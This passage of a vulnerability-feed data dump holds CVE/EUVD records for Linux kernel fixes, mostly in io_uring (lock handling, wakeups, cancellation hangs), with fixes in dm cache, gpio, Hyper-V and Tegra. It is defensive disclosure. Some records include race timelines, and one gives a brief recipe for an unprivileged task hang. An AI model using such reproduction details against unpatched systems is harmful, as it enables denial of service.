table,\ndrops ->uring_lock, and copies the slot numbers to the application. If\nthat faults, it takes the lock again and removes whatever is in these\nslots.\n\nIf the request is run by io-wq the lock really is dropped in between, and\nthe slots are visible to everybody else. By the time the error path gets\nto them, they may have been closed and reused, by IORING_OP_CLOSE and a\ndirect open or accept, or by IORING_REGISTER_FILES_UPDATE. Then a file is\nremoved from the table that has nothing to do with the failed request.\n\nDo the copy with the lock held. Faulting in user memory under\n->uring_lock is fine, the registration paths do it all the time.","published_time":"2026-11-03T11:48:16","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/b4b7b2d19dab611f3cf3d052aa19278e7e4c4683","https://git.kernel.org/stable/c/7299a32764ab875443b58581d929027954dcf24c","https://git.kernel.org/stable/c/a3d7ee11289f657aa9af826d8f0844221292a27a"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99266","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/zcrx: fix buffer offsets in areas above 4GB\n\nio_zcrx_queue_cqe() computes the offset of the buffer in its area from\nnet_iov_idx(), which is an unsigned int, so the shift is done in 32 bits\nand only the result is widened to the u64 that goes into the CQE. An area\ncan be up to 1TB in size. For every niov beyond the first 4GB the CQE\npoints the application at a buffer 4GB, or a multiple of that, below the\none which has the data. It reads the wrong data, and then returns a\nbuffer it doesn't own via the refill queue while the real one is never\ngiven back.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/51f4ee29bf0564e6ae7d3540693a9bc1dd2c8fd7","https://git.kernel.org/stable/c/9bfb315e2d0907fbcaf5d0453dd6d873c9aa8d5b","https://git.kernel.org/stable/c/ab4536bf2e5617b04f2d9396f06393c7bbfb071d"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:33","euvd":{"id":"EUVD-2026-115791","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/zcrx: fix buffer offsets in areas above 4GB\n\nio_zcrx_queue_cqe() computes the offset of the buffer in its area from\nnet_iov_idx(), which is an unsigned int, so the shift is done in 32 bits\nand only the result is widened to the u64 that goes into the CQE. An area\ncan be up to 1TB in size. For every niov beyond the first 4GB the CQE\npoints the application at a buffer 4GB, or a multiple of that, below the\none which has the data. It reads the wrong data, and then returns a\nbuffer it doesn't own via the refill queue while the real one is never\ngiven back.","published_time":"2026-11-03T11:48:17","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/9bfb315e2d0907fbcaf5d0453dd6d873c9aa8d5b","https://git.kernel.org/stable/c/51f4ee29bf0564e6ae7d3540693a9bc1dd2c8fd7","https://git.kernel.org/stable/c/ab4536bf2e5617b04f2d9396f06393c7bbfb071d"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99267","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/napi: make stale entries time out after 60s\n\nWith dynamic tracking a NAPI id that hasn't been seen for a minute is\nmeant to be dropped from the list the ring busy polls. The timeout is\nadded to jiffies, but it is defined as 60 * SEC_CONVERSION, and\nSEC_CONVERSION isn't the number of jiffies in a second. It is the\ninternal factor of __timespec64_to_jiffies(), HZ scaled up by\nSEC_JIFFIE_SC bits. For HZ=1000 that is 1000 << 22, which puts the\ntimeout at about eight years. On 32-bit the multiplication overflows.\n\nSo entries are never removed, and every id that a socket of the ring\never had keeps being polled on each wait.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/18c373f446068972788158c8c7de6e849b04ed98","https://git.kernel.org/stable/c/3fe820cf35f83534eab72ea73f1a83cfd3cd8079","https://git.kernel.org/stable/c/981621d6eadcd232d4ea748aaeb046337f10d3c1","https://git.kernel.org/stable/c/9c151648780d89e5446e5f89f3fa2e416c3bb911"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:33","euvd":{"id":"EUVD-2026-115792","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/napi: make stale entries time out after 60s\n\nWith dynamic tracking a NAPI id that hasn't been seen for a minute is\nmeant to be dropped from the list the ring busy polls. The timeout is\nadded to jiffies, but it is defined as 60 * SEC_CONVERSION, and\nSEC_CONVERSION isn't the number of jiffies in a second. It is the\ninternal factor of __timespec64_to_jiffies(), HZ scaled up by\nSEC_JIFFIE_SC bits. For HZ=1000 that is 1000 << 22, which puts the\ntimeout at about eight years. On 32-bit the multiplication overflows.\n\nSo entries are never removed, and every id that a socket of the ring\never had keeps being polled on each wait.","published_time":"2026-11-03T11:48:17","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/3fe820cf35f83534eab72ea73f1a83cfd3cd8079","https://git.kernel.org/stable/c/18c373f446068972788158c8c7de6e849b04ed98","https://git.kernel.org/stable/c/981621d6eadcd232d4ea748aaeb046337f10d3c1","https://git.kernel.org/stable/c/9c151648780d89e5446e5f89f3fa2e416c3bb911"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99268","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: wake ring pollers for local task_work\n\nWith IORING_SETUP_DEFER_TASKRUN completions are queued as local work, and\nonly become CQEs when the submitter enters the kernel to wait for events.\nFor an application that finds out via poll() or epoll on the ring fd when\nit is time to do that, io_uring_poll() reports EPOLLIN if local work is\npending.\n\nThat only helps if the work is there at the time of the call. When\nDEFER_TASKRUN was added, io_req_local_work_add() did io_cqring_wake(),\nwhich took care of tasks sleeping in poll() as well. Then polling got a\nwait queue of its own, ->poll_wq, and the wake up in\nio_req_local_work_add() was replaced by waking the submitter directly.\nSince then ->poll_wq is only woken when CQEs are committed, which for\nsuch a ring is done by the very task that is waiting to be told to:\n\n  submitter                           completion\n  poll(ring_fd)\n    io_uring_poll()  // nothing yet\n    schedule()\n                                      io_req_local_work_add()\n                                        // ->cq_wait_nr: nobody waits\n  // sleeps on\n\nWake ->poll_wq when the first entry is put on the work list. Like for the\neventfd, that must not be done right away if the work is queued from a\nwake up handler, as the chain of wake ups could get back to the wait\nqueue whose lock is held. Use an RCU callback in that case, with a\nreference to the ring.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/2c88d978f1dfd03edf67924ea8fd25cc45499eef","https://git.kernel.org/stable/c/92bfadcbe0a9a001beb5e58a2abaf040b873deb6","https://git.kernel.org/stable/c/9bb28e7740ce78beecafc5db074b45f4cbeb8a47","https://git.kernel.org/stable/c/b88902d8745a701d24275d012f0830e3628e2a22","https://git.kernel.org/stable/c/d8c618747a6aa90022e19ec614aa7157d0302108"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:33","euvd":{"id":"EUVD-2026-115793","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: wake ring pollers for local task_work\n\nWith IORING_SETUP_DEFER_TASKRUN completions are queued as local work, and\nonly become CQEs when the submitter enters the kernel to wait for events.\nFor an application that finds out via poll() or epoll on the ring fd when\nit is time to do that, io_uring_poll() reports EPOLLIN if local work is\npending.\n\nThat only helps if the work is there at the time of the call. When\nDEFER_TASKRUN was added, io_req_local_work_add() did io_cqring_wake(),\nwhich took care of tasks sleeping in poll() as well. Then polling got a\nwait queue of its own, ->poll_wq, and the wake up in\nio_req_local_work_add() was replaced by waking the submitter directly.\nSince then ->poll_wq is only woken when CQEs are committed, which for\nsuch a ring is done by the very task that is waiting to be told to:\n\n  submitter                           completion\n  poll(ring_fd)\n    io_uring_poll()  // nothing yet\n    schedule()\n                                      io_req_local_work_add()\n                                        // ->cq_wait_nr: nobody waits\n  // sleeps on\n\nWake ->poll_wq when the first entry is put on the work list. Like for the\neventfd, that must not be done right away if the work is queued from a\nwake up handler, as the chain of wake ups could get back to the wait\nqueue whose lock is held. Use an RCU callback in that case, with a\nreference to the ring.","published_time":"2026-11-03T11:48:17","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/9bb28e7740ce78beecafc5db074b45f4cbeb8a47","https://git.kernel.org/stable/c/d8c618747a6aa90022e19ec614aa7157d0302108","https://git.kernel.org/stable/c/2c88d978f1dfd03edf67924ea8fd25cc45499eef","https://git.kernel.org/stable/c/92bfadcbe0a9a001beb5e58a2abaf040b873deb6","https://git.kernel.org/stable/c/b88902d8745a701d24275d012f0830e3628e2a22"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99253","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/cancel: rearm local work wake up before sleep\n\nio_uring_try_cancel_requests() sets ->cq_wait_nr to 1 so that the next\nio_req_local_work_add() wakes the cancelling task. The add that takes the\ncount to zero is the only one that wakes, later ones see a count <= 0 and\nreturn. io_uring_cancel_generic() however only becomes\nTASK_INTERRUPTIBLE much later, so the one wake up can be spent on a\nrunning task. That is fine as long as the entry of that add is still\nqueued, as the io_local_work_pending() check then skips the sleep. It is\nnot if the add was delayed after queueing its entry:\n\nCPU0 (submitter in exec or exit)      CPU1 (io_req_local_work_add)\n                                      mpscq_push(req A)\nio_uring_try_cancel_requests()\n  io_run_local_work()  // runs req A\nio_uring_try_cancel_requests()\n  atomic_set(&ctx->cq_wait_nr, 1)\n                                      atomic_read(&ctx->cq_wait_nr) == 1\n                                      count taken, wake_up_state()\n                                        // task is running, no-op\nprepare_to_wait(TASK_INTERRUPTIBLE)\nio_local_work_pending() == false\nschedule()\n                                      mpscq_push(req B)\n                                      cq_wait_nr <= 0, return\n\nOnly the sleeping task can run req B, so it is stuck in execve() until a\nsignal happens to wake it. An exiting task doesn't even get that.\n\nArm the count again once the task state is set and before the work list\nis checked, for the rings whose local work this task is the one to run.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/76a82c666abf155ad52d5f41043eac77dd3e41d8","https://git.kernel.org/stable/c/aaa06bb9fc03384f7cf2dbc3e43f2939cc7791b2"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:32","euvd":{"id":"EUVD-2026-115764","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/cancel: rearm local work wake up before sleep\n\nio_uring_try_cancel_requests() sets ->cq_wait_nr to 1 so that the next\nio_req_local_work_add() wakes the cancelling task. The add that takes the\ncount to zero is the only one that wakes, later ones see a count <= 0 and\nreturn. io_uring_cancel_generic() however only becomes\nTASK_INTERRUPTIBLE much later, so the one wake up can be spent on a\nrunning task. That is fine as long as the entry of that add is still\nqueued, as the io_local_work_pending() check then skips the sleep. It is\nnot if the add was delayed after queueing its entry:\n\nCPU0 (submitter in exec or exit)      CPU1 (io_req_local_work_add)\n                                      mpscq_push(req A)\nio_uring_try_cancel_requests()\n  io_run_local_work()  // runs req A\nio_uring_try_cancel_requests()\n  atomic_set(&ctx->cq_wait_nr, 1)\n                                      atomic_read(&ctx->cq_wait_nr) == 1\n                                      count taken, wake_up_state()\n                                        // task is running, no-op\nprepare_to_wait(TASK_INTERRUPTIBLE)\nio_local_work_pending() == false\nschedule()\n                                      mpscq_push(req B)\n                                      cq_wait_nr <= 0, return\n\nOnly the sleeping task can run req B, so it is stuck in execve() until a\nsignal happens to wake it. An exiting task doesn't even get that.\n\nArm the count again once the task state is set and before the work list\nis checked, for the rings whose local work this task is the one to run.","published_time":"2026-11-03T11:20:12","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/aaa06bb9fc03384f7cf2dbc3e43f2939cc7791b2","https://git.kernel.org/stable/c/76a82c666abf155ad52d5f41043eac77dd3e41d8"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99254","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: don't flood a cancelling task with task_work\n\nio_ring_exit_work() asks each task which has used the ring to remove its\ntctx node, by task_work, and repeats that until the list is empty.\nio_tctx_exit_cb() doesn't touch the node while the task is in\nio_uring_cancel_generic(), which removes all the nodes at its end. So the\nwork item queues the callback again as soon as it has completed, for\nnothing.\n\nThat is more than a waste of time. task_work_run() only returns when it\nfinds the list empty. If the rings are released from inside the\ncancellation, because requests of other rings held the last references to\ntheir files, up to 64 work items keep sending callbacks to the one task\nwhich is running them. It never finds the list empty, never gets back to\nthe cancellation, the nodes stay, and so it goes on: a task with 60 pairs\nof rings which poll each other ran 280000 callbacks in 5 seconds, 20\nseconds after exit_group(). It ends when all the senders happen to be late\nat the same time. Until then the task keeps a CPU and the work items busy.\n\nAn exiting task can't be killed meanwhile. execve() cancels the requests in\nthe same way, so a live task can get stuck there as well, for minutes. If\nit takes more than five, the work items run into the\nWARN_ON_ONCE(time_after(jiffies, timeout)) of io_ring_exit_work(). No\nprivilege is needed for any of this.\n\nIf the callback has met a task in cancellation, wait a little before it is\nsent again. Nobody has to wake the work item up for that: either the node\nis gone by then, or it is the turn of the next round.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/14f56e9c0b8fdc2e178acdbec9781e90ef46f7e9","https://git.kernel.org/stable/c/22e643e61b9b6299b42ff7d88bab48bccada8a5d","https://git.kernel.org/stable/c/2c75ebae8a7f09c99e31c7042b7d4d595f03b2b1","https://git.kernel.org/stable/c/61c761fc21e00e45c33c2bb596be442d92fb8792","https://git.kernel.org/stable/c/a22fb44e988b01b82235ea07f0bf0fc73e256596","https://git.kernel.org/stable/c/abdc57c7ebabaaf0b622178a6a85834e1e54ff80"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:32","euvd":{"id":"EUVD-2026-115765","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: don't flood a cancelling task with task_work\n\nio_ring_exit_work() asks each task which has used the ring to remove its\ntctx node, by task_work, and repeats that until the list is empty.\nio_tctx_exit_cb() doesn't touch the node while the task is in\nio_uring_cancel_generic(), which removes all the nodes at its end. So the\nwork item queues the callback again as soon as it has completed, for\nnothing.\n\nThat is more than a waste of time. task_work_run() only returns when it\nfinds the list empty. If the rings are released from inside the\ncancellation, because requests of other rings held the last references to\ntheir files, up to 64 work items keep sending callbacks to the one task\nwhich is running them. It never finds the list empty, never gets back to\nthe cancellation, the nodes stay, and so it goes on: a task with 60 pairs\nof rings which poll each other ran 280000 callbacks in 5 seconds, 20\nseconds after exit_group(). It ends when all the senders happen to be late\nat the same time. Until then the task keeps a CPU and the work items busy.\n\nAn exiting task can't be killed meanwhile. execve() cancels the requests in\nthe same way, so a live task can get stuck there as well, for minutes. If\nit takes more than five, the work items run into the\nWARN_ON_ONCE(time_after(jiffies, timeout)) of io_ring_exit_work(). No\nprivilege is needed for any of this.\n\nIf the callback has met a task in cancellation, wait a little before it is\nsent again. Nobody has to wake the work item up for that: either the node\nis gone by then, or it is the turn of the next round.","published_time":"2026-11-03T11:20:12","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/a22fb44e988b01b82235ea07f0bf0fc73e256596","https://git.kernel.org/stable/c/2c75ebae8a7f09c99e31c7042b7d4d595f03b2b1","https://git.kernel.org/stable/c/61c761fc21e00e45c33c2bb596be442d92fb8792","https://git.kernel.org/stable/c/14f56e9c0b8fdc2e178acdbec9781e90ef46f7e9","https://git.kernel.org/stable/c/abdc57c7ebabaaf0b622178a6a85834e1e54ff80","https://git.kernel.org/stable/c/22e643e61b9b6299b42ff7d88bab48bccada8a5d"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99255","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/io-wq: don't hide a link from cancellations\n\nA task that exits cancels its tracked requests and waits until they are\ngone. io_uring_cancel_generic() looks everywhere a request can be, and\ngoes to sleep if it found nothing to cancel. It is woken up each time\none of the requests of the task is completed by task work or freed.\n\nWhen io-wq is done with a request that has a link, there is a time in which\nthe next request of the link can't be found:\n\n  io_worker_handle_work()\n    io_assign_current_work(worker, NULL)\n    io_wq_free_work(work)\n      io_req_find_next()           // takes the link off the request\n      io_free_req()                // task work for the task\n    io_assign_current_work(worker, linked)\n      io_run_task_work()\n      cond_resched()\n      worker->cur_work = linked\n\nIt is not pending, it is not the current work of a worker, and it is not\nyet on the list that it is about to be parked on. If the pass that the\nexiting task makes because of io_free_req() falls into that time, it finds\nnothing and the task goes to sleep. The worker then runs the link, which\nIO_WQ_BIT_EXIT doesn't prevent for bounded work. If that parks the request\nnothing is completed or freed, and nobody wakes up the task. If it is the\nprocess that exits it can't be killed any more either.\n\n  NOP, IOSQE_ASYNC | IOSQE_IO_LINK\n  FUTEX_WAIT, FUTEX2_PRIVATE\n  exit of the thread, or of the process, up to 63us later\n\nWith four of these per round 5 to 8 of 10,000 rounds hang (4 CPUs, KVM):\n\n  io_uring_cancel_generic\n  do_exit\n\nCommit f8b632e89a10 (\"io_uring: tighten task exit cancellations\") is about\nthe same gap, and makes the task look again for whatever happens before\nio_free_req().\n\nFree the request once the link is the current work of the worker, or\npending. Whoever is woken up by that can find the link, until it is parked\nwhere cancellations look as well. To do so split io_wq_free_work() in two.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/3e02b8df0e9fa1423ac2a4e03409a9329c30ac49","https://git.kernel.org/stable/c/436d48a2ed13112d2d27085325838e5bce6b4507","https://git.kernel.org/stable/c/92e20e9c72bdf6cfa6f84eded7b33399bc7061da","https://git.kernel.org/stable/c/98470f164286f7f62aaee519d4d11b9370ce6d7b","https://git.kernel.org/stable/c/d39ebc7a583d650b1d6da9b45e2ce96ad4d877e4","https://git.kernel.org/stable/c/ebe8e97fb99d9f374c482902a00677cfd24a6c27"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:32","euvd":{"id":"EUVD-2026-115766","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/io-wq: don't hide a link from cancellations\n\nA task that exits cancels its tracked requests and waits until they are\ngone. io_uring_cancel_generic() looks everywhere a request can be, and\ngoes to sleep if it found nothing to cancel. It is woken up each time\none of the requests of the task is completed by task work or freed.\n\nWhen io-wq is done with a request that has a link, there is a time in which\nthe next request of the link can't be found:\n\n  io_worker_handle_work()\n    io_assign_current_work(worker, NULL)\n    io_wq_free_work(work)\n      io_req_find_next()           // takes the link off the request\n      io_free_req()                // task work for the task\n    io_assign_current_work(worker, linked)\n      io_run_task_work()\n      cond_resched()\n      worker->cur_work = linked\n\nIt is not pending, it is not the current work of a worker, and it is not\nyet on the list that it is about to be parked on. If the pass that the\nexiting task makes because of io_free_req() falls into that time, it finds\nnothing and the task goes to sleep. The worker then runs the link, which\nIO_WQ_BIT_EXIT doesn't prevent for bounded work. If that parks the request\nnothing is completed or freed, and nobody wakes up the task. If it is the\nprocess that exits it can't be killed any more either.\n\n  NOP, IOSQE_ASYNC | IOSQE_IO_LINK\n  FUTEX_WAIT, FUTEX2_PRIVATE\n  exit of the thread, or of the process, up to 63us later\n\nWith four of these per round 5 to 8 of 10,000 rounds hang (4 CPUs, KVM):\n\n  io_uring_cancel_generic\n  do_exit\n\nCommit f8b632e89a10 (\"io_uring: tighten task exit cancellations\") is about\nthe same gap, and makes the task look again for whatever happens before\nio_free_req().\n\nFree the request once the link is the current work of the worker, or\npending. Whoever is woken up by that can find the link, until it is parked\nwhere cancellations look as well. To do so split io_wq_free_work() in two.","published_time":"2026-11-03T11:20:13","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/98470f164286f7f62aaee519d4d11b9370ce6d7b","https://git.kernel.org/stable/c/d39ebc7a583d650b1d6da9b45e2ce96ad4d877e4","https://git.kernel.org/stable/c/ebe8e97fb99d9f374c482902a00677cfd24a6c27","https://git.kernel.org/stable/c/3e02b8df0e9fa1423ac2a4e03409a9329c30ac49","https://git.kernel.org/stable/c/92e20e9c72bdf6cfa6f84eded7b33399bc7061da","https://git.kernel.org/stable/c/436d48a2ed13112d2d27085325838e5bce6b4507"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99256","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndm cache: fix issue with background work locking\n\ndm cache used a rw_semaphore for background_work_lock. Write locks on\nrw_semaphores have strict owner semantics, but there was no guarantee\nthat the process that locked background_work_lock was the same process\nthat unlocked it. This can be easily seen using a kernel compiled with\nCONFIG_DEBUG_RWSEMS. Given a dm cache device <cache>, run: 'dmsetup\nsuspend <cache> && dmsetup resume <cache>'. This will trigger a kernel\nwarning:\n\nDEBUG_RWSEMS_WARN_ON((rwsem_owner(sem) != current) && !rwsem_test_oflags(sem, RWSEM_NONSPINNABLE))\n\ntriggered by cache_resume(). To fix this, switch from a rw_semaphore to\na spinlock and a wait queue. dm cache already has a wait queue and\nassociated counter, migration_wait and nr_allocated_migrations, that was\ngetting woken up when background work was getting completed, but wasn't\nactually used by anything. This is replaced by the background_work queue\nand counter.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/0c7a8cad7c96012a9157a189649e569d0390f384","https://git.kernel.org/stable/c/104f09e02038b0fc6bbb718b3976af029e15c1d0","https://git.kernel.org/stable/c/2f2cfa16dd0f4179bb988139dd37d00a42324f6c","https://git.kernel.org/stable/c/6290507ecc0dd6dd40759729cbbbd49b1d2a63c4","https://git.kernel.org/stable/c/73df2ff409f3db95029982fe3656329568e3715d","https://git.kernel.org/stable/c/8433fd005c25fd127021f67c9144a879fb585572","https://git.kernel.org/stable/c/bc9781c0247de107876f32929f1637db93a42b34","https://git.kernel.org/stable/c/f5db935d257023c3ef410bd39163b949b0e5a55d"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:32","euvd":{"id":"EUVD-2026-115767","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ndm cache: fix issue with background work locking\n\ndm cache used a rw_semaphore for background_work_lock. Write locks on\nrw_semaphores have strict owner semantics, but there was no guarantee\nthat the process that locked background_work_lock was the same process\nthat unlocked it. This can be easily seen using a kernel compiled with\nCONFIG_DEBUG_RWSEMS. Given a dm cache device <cache>, run: 'dmsetup\nsuspend <cache> && dmsetup resume <cache>'. This will trigger a kernel\nwarning:\n\nDEBUG_RWSEMS_WARN_ON((rwsem_owner(sem) != current) && !rwsem_test_oflags(sem, RWSEM_NONSPINNABLE))\n\ntriggered by cache_resume(). To fix this, switch from a rw_semaphore to\na spinlock and a wait queue. dm cache already has a wait queue and\nassociated counter, migration_wait and nr_allocated_migrations, that was\ngetting woken up when background work was getting completed, but wasn't\nactually used by anything. This is replaced by the background_work queue\nand counter.","published_time":"2026-11-03T11:25:14","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/0c7a8cad7c96012a9157a189649e569d0390f384","https://git.kernel.org/stable/c/f5db935d257023c3ef410bd39163b949b0e5a55d","https://git.kernel.org/stable/c/6290507ecc0dd6dd40759729cbbbd49b1d2a63c4","https://git.kernel.org/stable/c/8433fd005c25fd127021f67c9144a879fb585572","https://git.kernel.org/stable/c/2f2cfa16dd0f4179bb988139dd37d00a42324f6c","https://git.kernel.org/stable/c/73df2ff409f3db95029982fe3656329568e3715d","https://git.kernel.org/stable/c/104f09e02038b0fc6bbb718b3976af029e15c1d0","https://git.kernel.org/stable/c/bc9781c0247de107876f32929f1637db93a42b34"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99257","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ngpio: shared: gracefully handle no-device lookup of shared GPIOs\n\nWe use platform lookup tables for shared GPIOs. This mechanism needs a\nstruct device to work so fwnode-based lookup with no device associated\ncurrently causes a NULL-pointer deference.\n\nAdding this functionality will require a larger rework and it has never\nworked anyway so add a check that allows the kernel to gracefully handle\nthis situation with an error ahead of implementing that functionality as\na new feature.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/7f9eb6aaf9a3ab7fa2b7dcc38660c27db12d4ec1","https://git.kernel.org/stable/c/cf73c3fc03c43a8a86fd487c62390b4744eff9ec"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:32","euvd":{"id":"EUVD-2026-115768","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ngpio: shared: gracefully handle no-device lookup of shared GPIOs\n\nWe use platform lookup tables for shared GPIOs. This mechanism needs a\nstruct device to work so fwnode-based lookup with no device associated\ncurrently causes a NULL-pointer deference.\n\nAdding this functionality will require a larger rework and it has never\nworked anyway so add a check that allows the kernel to gracefully handle\nthis situation with an error ahead of implementing that functionality as\na new feature.","published_time":"2026-11-03T11:25:14","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/7f9eb6aaf9a3ab7fa2b7dcc38660c27db12d4ec1","https://git.kernel.org/stable/c/cf73c3fc03c43a8a86fd487c62390b4744eff9ec"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99258","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nx86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index()\n\nhv_apicid_to_vp_index() currently uses the per-cpu hypercall input\nand output pages. This function is called when running in VTL2 and\nwhen running in an SEV-SNP CoCo VM with no paravisor. In the former\ncase, the output page is allocated, but in the latter case it is\nnot, so the hypervisor stores the output VP index in memory that has\nnot been allocated by the guest.\n\nFix this by using the input page for both input and output. The\nhypercall has very small input and output, so sharing the same\npage for both is straightforward. An alternative fix is to\nallocate the per-cpu output page when running in an SEV-SNP CoCo\nguest, but this uses significantly more memory, particularly\nwith larger vCPUs counts.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/2b561786c9076a892ef8b8f416c9828bc87ed44f","https://git.kernel.org/stable/c/7b74c117e2aac78e0f723e1c9c3644451c56b0d9","https://git.kernel.org/stable/c/bc8ca0f4769627ae7d04e7ffdbd20de4f27a9bf9","https://git.kernel.org/stable/c/bdba5f1b8bd0d18b1df61f769b559ed272902489"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:32","euvd":{"id":"EUVD-2026-115769","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nx86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index()\n\nhv_apicid_to_vp_index() currently uses the per-cpu hypercall input\nand output pages. This function is called when running in VTL2 and\nwhen running in an SEV-SNP CoCo VM with no paravisor. In the former\ncase, the output page is allocated, but in the latter case it is\nnot, so the hypervisor stores the output VP index in memory that has\nnot been allocated by the guest.\n\nFix this by using the input page for both input and output. The\nhypercall has very small input and output, so sharing the same\npage for both is straightforward. An alternative fix is to\nallocate the per-cpu output page when running in an SEV-SNP CoCo\nguest, but this uses significantly more memory, particularly\nwith larger vCPUs counts.","published_time":"2026-11-03T11:25:14","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/bdba5f1b8bd0d18b1df61f769b559ed272902489","https://git.kernel.org/stable/c/2b561786c9076a892ef8b8f416c9828bc87ed44f","https://git.kernel.org/stable/c/bc8ca0f4769627ae7d04e7ffdbd20de4f27a9bf9","https://git.kernel.org/stable/c/7b74c117e2aac78e0f723e1c9c3644451c56b0d9"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99259","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nsoc/tegra: pmc: Fix uninitialised clock rate\n\nFor legacy 32-bit Tegra devices, the warning in the\ntegra_pmc_enter_suspend_mode() function is being triggered because the\nearly_pmc->rate variable is never configured and hence, always 0. This\nissue started occurring after updating the PMC driver to create the PMC\ncontext dynamically which causes the 'rate' to be set in the new dynamic\ncontext, but missed 